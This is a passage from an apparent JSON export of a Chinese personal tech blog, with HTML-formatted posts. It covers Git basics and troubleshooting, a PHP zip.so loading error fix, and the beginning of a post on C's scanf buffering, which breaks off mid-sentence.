href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%85%A5%E9%97%A8\" class=\"headerlink\" title=\"入门\"\u003e\u003c/a\u003e入门\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e推荐去看《Pro Git》系统学习。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003egit是重要且强大的版本控制工具。版本控制就相当于Word的历史记录功能,不过远比那强大和可靠。你可以在任何时候,为你当前的修改创建一个\u003ccode\u003ecommit\u003c/code\u003e,它会记录你的仓库中所有文件相对于上个时间点的所有更改记录。\u003c/p\u003e\u003cp\u003e当项目规格急剧增大时,使用版本控制系统(VCS)就是必然的选择:多分支并行开发,代码合并,进度追踪等等,都是保持开发流程井然有序的重要方法。\u003c/p\u003e\u003cp\u003e如果用剧本走向来比喻git,那么git能做到的就是让你能同时尝试所有世界线,并把你喜欢的结局组合到一起。\u003c/p\u003e\u003ch2 id=\"功能\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%8A%9F%E8%83%BD\" class=\"headerlink\" title=\"功能\"\u003e\u003c/a\u003e功能\u003c/h2\u003e\u003cp\u003e基本上,只要掌握\u003ccode\u003eadd\u003c/code\u003e, \u003ccode\u003ecommit\u003c/code\u003e, \u003ccode\u003epush\u003c/code\u003e, \u003ccode\u003epull\u003c/code\u003e, \u003ccode\u003emerge\u003c/code\u003e就可以应付日常使用了。对于一些常见问题,使用\u003ccode\u003egit help\u003c/code\u003e或者在网上寻找答案都是不错的选择。\u003c/p\u003e\u003cp\u003e在介绍功能之前,你可以先去看看Pro Git前几章对Git模型的介绍,包括各种状态的转换,几个空间等。这里简单的介绍下:\u003c/p\u003e\u003cp\u003eGit(大体上)有三个区:首先是工作区,它的范围是你文件夹里所有除了\u003ccode\u003e.git\u003c/code\u003e目录以外的所有文件;其次是暂存区,你更改后使用\u003ccode\u003egit add\u003c/code\u003e暂存的文件都存储在这里。最后一个区是长期存储区,它保存着你的每一个文件,以及对它的每一次修改历史的原始版本。后两个区都位于\u003ccode\u003e.git\u003c/code\u003e目录中。也就是说,只要\u003ccode\u003e.git\u003c/code\u003e目录还在,那么即使你删了仓库里边所有的东西,也能用git恢复所有删除的文件,甚至是你以前的任何一个状态上——就好比玩Gal的时候随时跳转到世界线上的任意一个历史节点。\u003c/p\u003e\u003cp\u003e文件在这三个区域里,也会有不同的状态:在工作区中的文件会呈现出“未跟踪”,或者“已修改”的状态,对它们使用\u003ccode\u003egit add filename\u003c/code\u003e就能把它们送到暂存区,转变为暂存状态。此时\u003cstrong\u003e对这些文件做出的任何修改都可以从暂存区恢复\u003c/strong\u003e,比如不小心删了一段代码又撤销不了,就可以从暂存区恢复这个文件。而暂存区的文件,一旦取消暂存状态,你的这些更改也会跟着消失。这时候,你要是不小心删除了什么还没法撤销的话,就是真丢了。而此时,如果你想把这次更改从暂存区长久保存,就可以使用\u003ccode\u003egit commit\u003c/code\u003e来“提交”你在暂存区存放的所有文件,它们会被放到长期存储区。而在这之前,git会要求你输入一个提交消息。这个消息是强制的,不能输入空白的消息。虽然有时候麻烦,但是对于以后的版本管理是很便利的:你可以想起来这次提交做了什么修改。输入提交信息后,你的修改就并入长期存储区了。这个时候,你的代码基本上就很安全了。使用\u003ccode\u003egit log\u003c/code\u003e就能看到你的每一个提交记录。\u003c/p\u003e\u003cp\u003e除了上面说的那些,还有一个最重要的功能没有提到:git分支。git的提交历史就像是一个复杂树状链表结构,每一个提交都指向它的父结点。当你创建提交时,其实你就指定了它的父结点:也就是你这次更改的状态,它就是你的父节点。因此,你可以选择一个节点,将它作为你的父结点,并将你的改动提交的父结点指向它。而如果你指向的父结点已经有了一个子结点,那么这就会创建一个分支(branch),这个分支一般以一个名字标识,范围是从分叉点到这个分支的最新的一次提交记录。这就好比玩Gal时,玩到一半时,回溯到前面的一个结点,选择了另一个选项,从而开启了另一条世界线一样。而与Galgame不同的是,你可以将两个结局“合二为一”,合并为一个新的结局,并开始一段新的可能。基于提交的Git,就能做到将另一个分支的最新提交结点,和当前所在的结点合并,从而产生一个新的结点。一般而言,这个结点会被看作是属于当前分支的:例如,把develop分支合并到当前所在的master分支,产生的用于merge的提交记录就属于master分支。这样的分支模型是git设计的最大魅力之一。\u003c/p\u003e\u003cp\u003e基于git的分支系统,就诞生了使用分支进行开发的最佳实践,也就是git工作流。具体而言就是约定了几个用来完成特定工作的git分支,并严格规定了分支之间的操作准则。\u003c/p\u003e\u003ch3 id=\"Commit\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Commit\" class=\"headerlink\" title=\"Commit\"\u003e\u003c/a\u003eCommit\u003c/h3\u003e\u003cp\u003e这是git的基础操作之一,在使用之前,先使用\u003ccode\u003egit add\u003c/code\u003e将要提交的文件加入暂存区。最简单的用法就是:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit commit\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后等待git弹出提交消息编辑器,输入提交消息,完成提交。如果输入了空白消息,git就会取消提交。\u003c/p\u003e\u003ch3 id=\"Push-amp-Pull\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Push-amp-Pull\" class=\"headerlink\" title=\"Push \u0026amp; Pull\"\u003e\u003c/a\u003ePush \u0026amp; Pull\u003c/h3\u003e\u003cp\u003e推送代码到远程仓库/拉取远程仓库到本地。用于同步本地和云端的代码更改。运行时一般不加啥参数,就是如果目标已经有了更改,可能得加上\u003ccode\u003e--merge\u003c/code\u003e或者\u003ccode\u003e--rebase\u003c/code\u003e来处理冲突。\u003c/p\u003e\u003ch3 id=\"GitHub-Pull-Request-PR\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#GitHub-Pull-Request-PR\" class=\"headerlink\" title=\"GitHub Pull Request(PR)\"\u003e\u003c/a\u003eGitHub Pull Request(PR)\u003c/h3\u003e\u003cp\u003e虽然不属于git的基本操作但还是提一嘴。这是GitHub的一个操作,用于将别的分支合并到一个特定的分支上。它的使用场景通常如下:你想贡献代码给一个开源项目,就先在GitHub上fork他们的仓库,随后在其中完成你的更改,创建提交。最后,发起一个Pull Request,请求目标仓库拉取你仓库的最新提交到它自身。这种合并是可以跨越仓库的,而前提是它们之间得是fork的关系:其他仓库都是这个仓库的\u003ccode\u003efork\u003c/code\u003e。满足这个条件之后,就可以在GitHub上新建一个PR,来通过这样的方式贡献你的代码了。\u003c/p\u003e\u003cp\u003e像Linux这样的重量级开源自由软件,就是无数人通过PR之类的操作慢慢构建起来的。甚至现在打开\u003ca href=\"https://github.com/torvalds/linux\"\u003e这个页面\u003c/a\u003e还能看到Linus天天在Merge PR(笑死\u003c/p\u003e\u003ch3 id=\"Merge\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Merge\" class=\"headerlink\" title=\"Merge\"\u003e\u003c/a\u003eMerge\u003c/h3\u003e\u003cp\u003e基本用法:假设当前是master分支,你想要将dev分支合并进来:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit merge dev\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果没有冲突的话,合并就会顺利完成;否则,你需要在合并编辑器里手动处理那些冲突,然后再提交,完成合并。\u003c/p\u003e\u003ch4 id=\"Fast-Forward\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Fast-Forward\" class=\"headerlink\" title=\"Fast-Forward\"\u003e\u003c/a\u003eFast-Forward\u003c/h4\u003e\u003cp\u003e就和它的名字一样,它是用于快速跟进的合并功能。一般的merge会生车工一个merge提交,而fast-forward只是让主分支的HEAD指向被merge的分支的HEAD。这样做的好处显而易见:开发进度跟进非常容易,只需要移动一个指针即可,并且节省了git的空间占用开销。缺点却很是问题:当被合并的分支删除后,\u003cstrong\u003egit的树结构就会被“捋平”\u003c/strong\u003e——那些fast-forward的点上没有merge生成的commit节点,所有fast-forward之间的连线自然就相当于“断开”的。\u003c/p\u003e\u003cp\u003e因此,Merge时,尽量禁用fast-forward,否则一旦删除分支,就无法再看到那个分支上到底干了什么。这对于代码问题追踪是很不利的因素。因此在开发中,应当尽量禁用fast-forward。\u003c/p\u003e\u003cp\u003e全局禁用的指令如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit config --global --add merge.ff \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Branch\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Branch\" class=\"headerlink\" title=\"Branch\"\u003e\u003c/a\u003eBranch\u003c/h3\u003e\u003ch3 id=\"Log\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Log\" class=\"headerlink\" title=\"Log\"\u003e\u003c/a\u003eLog\u003c/h3\u003e\u003ch3 id=\"Tag\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#Tag\" class=\"headerlink\" title=\"Tag\"\u003e\u003c/a\u003eTag\u003c/h3\u003e\u003cp\u003eGit tag是一种用于在Git仓库中标记特定版本的方法。它通常被用来标记重要的里程碑版本或发布版本,以便于在后续的开发或维护过程中快速定位和回溯到这些版本。\u003c/p\u003e\u003cp\u003eGit tag可以被创建并附加到任何一个Git commit对象上,而且可以添加任意多个标签,每个标签都可以添加一个描述信息。\u003c/p\u003e\u003cp\u003e在Git中,有两种类型的tag: lightweight tag和annotated tag。\u003c/p\u003e\u003cp\u003e轻量级标签(Lightweight tag)只是一个指向某个commit的引用,相当于一个不带附加信息的快照。而附注标签(Annotated tag)则是一个独立的Git对象,它除了包含指向某个commit的引用外,还可以包含标签作者、标签日期、描述信息等元数据。附注标签更适合用于发布版本和重要的里程碑。\u003c/p\u003e\u003cp\u003e要创建一个tag,可以使用\u003ccode\u003egit tag\u003c/code\u003e命令,例如:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit tag v1.0.0 \u003cspan class=\"comment\"\u003e# 创建一个名为v1.0.0的轻量级标签\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit tag -a v1.0.0 -m \u003cspan class=\"string\"\u003e\u0026#34;Release version 1.0.0\u0026#34;\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 创建一个名为v1.0.0的附注标签,同时添加描述信息\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e要将标签推送到远程仓库,可以使用\u003ccode\u003egit push\u003c/code\u003e命令,例如:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit push origin v1.0.0 \u003cspan class=\"comment\"\u003e# 将名为v1.0.0的标签推送到远程仓库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e要查看所有标签,可以使用\u003ccode\u003egit tag\u003c/code\u003e命令,例如:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit tag \u003cspan class=\"comment\"\u003e# 列出所有标签\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit tag -l \u003cspan class=\"string\"\u003e\u0026#34;v1.*\u0026#34;\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 列出所有以v1开头的标签\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"常见问题\"\u003e\u003ca href=\"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"常见问题\"\u003e\u003c/a\u003e常见问题\u003c/h2\u003e\u003cul\u003e\u003cli\u003eCannot do a soft reset in the middle of a merge\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e错误原因很显然,就是我们在合并分支时想要撤销上次提交。我通常是因为在一个设备上commit\u0026amp;push了一些代码,而在另一台设备上已经commit了一些代码,随后打算先pull同步一下再push上去。这时就会提示将pull下来的代码merge到本地仓库中,这时候我一般会merge\u0026amp;push,但是有时候发现不小心把另一个分支的给pull到当前分支了,这时候就需要取消错误的pull操作。然而此时已经进入了merge状态,所以只能先退出这状态再重新正确地同步仓库。\u003c/p\u003e\u003cp\u003e首先,用\u003ccode\u003egit stash\u003c/code\u003e保存当前的更改,然后\u003ccode\u003egit reset --merge\u003c/code\u003e退出合并状态。这时再重新正确拉取代码即可。\u003c/p\u003e\u003cul\u003e\u003cli\u003eLinux平台鉴权失败\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这是因为GitHub现在已经禁用了Git Cli的登录方式。因此我们需要重新配置其他的凭据管理器。比如我使用了\u003ccode\u003egit-credential-oauth\u003c/code\u003e,这样我就可以跳转到浏览器里登录认证GitHub凭据。配置方法很简单:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit config --global --\u003cspan class=\"built_in\"\u003eunset\u003c/span\u003e credential.helper\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit-credential-oauth configure\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成后,再执行push时,就会弹出浏览器窗口提示授权GitHub帐号了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e文件上传和下载后,文件名大小写变化\u003c/li\u003e\u003c/ul\u003e\u003cp\u003egit默认设置中,对于文件名的设置是\u003cstrong\u003e大小写不敏感\u003c/strong\u003e。因此如果有必要的话,还是把这个设为false来解决问题吧:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 首先获取当前设置状态,为true则执行下一条指令\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit config --get core.ignorecase \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 设置不忽略大小写\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit config core.ignorecase \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003eGit Pull –Rebase vs –Merge\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e假设A和B同时克隆了一个仓库,并各自完成了一些修改。此时A想要推送自己的提交,却发现B已经推送了自己的提交。此时应该怎么做呢?\u003c/p\u003e\u003cp\u003e两种方法,首先是merge。拉取的时候加上\u003ccode\u003e--merge\u003c/code\u003e选项,会自动合并你们的提交。如果有冲突,就会在你的合并编辑器里展示出来,待你修改完成后,以一个合并提交的方式提交上去。\u003c/p\u003e\u003cp\u003e其次是rebase。它大致相当于“移花接木“:把你本地做的提交拼接到拉取下来的更改后边。这样产生的提交记录更加简洁。用法就是拉取时加上\u003ccode\u003e--rebase\u003c/code\u003e参数。\u003c/p\u003e\u003cp\u003e两种方式的选择取决于你们项目的开发规范,以及你的喜好。如果偏爱简洁,你可能更喜欢rebase;如果你追求commit的尽可能详尽,那么merge可能更适合你。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Git%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"PHP报错:无法加载zip.so","time":"2022-04-22T14:46:01Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e解决方法很简单:将\u003ccode\u003e/etc/php/7.4/mods-available/\u003c/code\u003e目录下的\u003ccode\u003e.ini\u003c/code\u003e文件全部重命名为\u003ccode\u003e.so\u003c/code\u003e文件, 或删除对应的\u003ccode\u003e*.ini\u003c/code\u003e文件,如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e /etc/php/7.4/mods-available/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003emv\u003c/span\u003e zip.ini zip.so\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e具体咋回事还不太清楚。网上还有另一种解决方法,是\u003ccode\u003esudo vim /etc/ld.so.conf\u003c/code\u003e并增加一些内容,不过我这里似乎无效:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e# 将/etc/ld.so.conf替换为如下内容\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003einclude /etc/ld.so.conf.d/*.conf\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/lib64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/lib\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/local/lib\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e/usr/local/lib64\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/04/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/PHP/PHP%E6%8A%A5%E9%94%99%EF%BC%9A%E6%97%A0%E6%B3%95%E5%8A%A0%E8%BD%BDzip.so/"},{"title":"对C语言scanf函数机制的浅探究","time":"2022-03-31T12:24:37Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"对C语言scanf函数机制的浅探究\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E5%AF%B9C%E8%AF%AD%E8%A8%80scanf%E5%87%BD%E6%95%B0%E6%9C%BA%E5%88%B6%E7%9A%84%E6%B5%85%E6%8E%A2%E7%A9%B6/#%E5%AF%B9C%E8%AF%AD%E8%A8%80scanf%E5%87%BD%E6%95%B0%E6%9C%BA%E5%88%B6%E7%9A%84%E6%B5%85%E6%8E%A2%E7%A9%B6\" class=\"headerlink\" title=\"对C语言scanf函数机制的浅探究\"\u003e\u003c/a\u003e对C语言scanf函数机制的浅探究\u003c/h1\u003e\u003cp\u003e在使用C语言写程序的时候,往往会使用到\u003ccode\u003escanf()\u003c/code\u003e函数,然而如果对这个函数的机制不太清楚,不正确的输入下,产生的结果难以估计。于是通过实验,总结了一下\u003ccode\u003escanf()\u003c/code\u003e函数的机制。\u003c/p\u003e\u003chr/\u003e\u003ch2 id=\"格式化字符串匹配失败会直接退出函数运行\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E5%AF%B9C%E8%AF%AD%E8%A8%80scanf%E5%87%BD%E6%95%B0%E6%9C%BA%E5%88%B6%E7%9A%84%E6%B5%85%E6%8E%A2%E7%A9%B6/#%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8C%B9%E9%85%8D%E5%A4%B1%E8%B4%A5%E4%BC%9A%E7%9B%B4%E6%8E%A5%E9%80%80%E5%87%BA%E5%87%BD%E6%95%B0%E8%BF%90%E8%A1%8C\" class=\"headerlink\" title=\"格式化字符串匹配失败会直接退出函数运行\"\u003e\u003c/a\u003e格式化字符串匹配失败会直接退出函数运行\u003c/h2\u003e\u003chr/\u003e\u003cpre\u003e\u003ccode\u003eint a=4;scanf(\u0026#34;x%d\u0026#34;, \u0026amp;a);printf(\u0026#34;%d\u0026#34;, a);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果此时输入了\u003ccode\u003ea89\u003c/code\u003e,格式化字符串匹配失败,将直接退出函数。\u003ccode\u003e变量a\u003c/code\u003e的值没有被改变。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eint a=4;scanf(\u0026#34;%d\u0026#34;, \u0026amp;a);printf(\u0026#34;%d\u0026#34;, a);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果此时输入了字母\u003ccode\u003ea\u003c/code\u003e,格式化字符串匹配失败,也将直接退出函数。\u003ccode\u003e变量a\u003c/code\u003e的值也没有被改变。所以这两段代码的输出都是\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e4\u003c/code\u003e\u003c/pre\u003e\u003chr/\u003e\u003ch2 id=\"输入缓存区\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E5%AF%B9C%E8%AF%AD%E8%A8%80scanf%E5%87%BD%E6%95%B0%E6%9C%BA%E5%88%B6%E7%9A%84%E6%B5%85%E6%8E%A2%E7%A9%B6/#%E8%BE%93%E5%85%A5%E7%BC%93%E5%AD%98%E5%8C%BA\" class=\"headerlink\" title=\"输入缓存区\"\u003e\u003c/a\u003e输入缓存区\u003c/h2\u003e\u003chr/\u003e\u003cp\u003eC语言有输入缓存区,scanf会优先从缓存区读取数据来匹配格式化字符串,输入缓存区为空的话才会向用户请求输入。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注意是为空才请求输入,而不是匹配不成功请求输入\u003c/p\u003e\u003c/blockquote\u003e\u003cpre\u003e\u003ccode\u003echar a;int b=1;scanf(\u0026#34;%c\u0026#34;,\u0026amp;a);scanf(\u0026#34;%d\u0026#34;,\u0026amp;b);printf(\u0026#34;输出:%d\u0026#34;,b);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e例如这串代码,如果第一次请求输入时输入了 \u003ccode\u003eab\u003c/code\u003e ,此时字符 ‘a’ 被存入\u003ccode\u003e变量a\u003c/code\u003e,输入缓存区还剩下 \u003ccode\u003e[ 